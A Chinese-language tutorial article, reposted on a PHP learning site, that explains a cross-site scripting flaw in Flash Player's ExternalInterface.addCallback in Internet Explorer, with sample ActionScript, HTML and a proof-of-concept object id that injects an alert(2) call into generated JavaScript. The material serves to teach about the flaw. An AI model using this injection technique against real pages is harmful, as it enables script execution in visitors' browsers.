来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] Flash Player在处理Flash应用与HTML页面进行通信时,未对特殊字符进行过滤,可能导致跨站脚本攻击。上回我们说flash.external.ExternalInterface.call的漏洞,其本质还是在SWF和HTML通信时对字符处理...
Flash Player在处理Flash应用与HTML页面进行通信时,未对特殊字符进行过滤,可能导致跨站脚本攻击。
上回我们说flash.external.ExternalInterface.call的漏洞,其本质还是在SWF和HTML通信时对字符处理不当导致的。还记得我们在第一篇中讲得,SWF文件与HTML页面的通信,包括了从SWF到HTML,就是传统意义上的执行JS,还包括从HTML到SWF的通信,这种通信方式就是由函数flash.external.ExternalInterface.addCallback进行的。addCallback函数可以将ActionScript方法注册为可从容器(这里是HTML)调用。成功调用addCallBack()后,容器中的JS可以调用在Flash Player中注册的函数。 那么在从HTML到SWF的通信时,究竟又发生了什么呢。我们简单地建立了一个addCallBack.swf文件,其中代码为:
addCallBack.as
function f(){
trace ("debug");
}
flash.external.ExternalInterface.addCallback("fname", this, f);
addcallback.html
<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id="addcallback" align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="addcallback.swf" />
</object>
</body>
</html>
开启IE开发者工具进行调试。
__flash__removeCallback(document.getElementById("addcallback"), "fname");
__flash__addCallback(document.getElementById("addcallback"), "fname");
这里有两个变量,fname是在swf中定义好了的,一般不会再改变,因此我们无法控制,addcallback是html页面里id="addcallback"的值,这个是可控的,如果我们顺着上文的思路,对addcallback处尝试进行注入,会怎么样呢。
我们先尝试"符号。
addcallback.html
<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id='test"' align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="addcallback.swf" />
</object>
</body>
</html>
在IE中,js调试结果
__flash__removeCallback(document.getElementById("test""), "fname");
__flash__addCallback(document.getElementById("test""), "fname");
"没有任何过滤就被注入了。我们闭合函数,弄成一个PoC,并添加一个带有id的HTML Tag,避免出错。
addcallback.html
<html>
<body>
<div id="test"></div>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1" id='test","a"));alert(2)//' align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="addcallback.swf" />
</object>
</body>
</html>
该漏洞仅对IE有效,具体的应用场景可以参照这篇:那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]
修复方案:
反正你们不修复
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com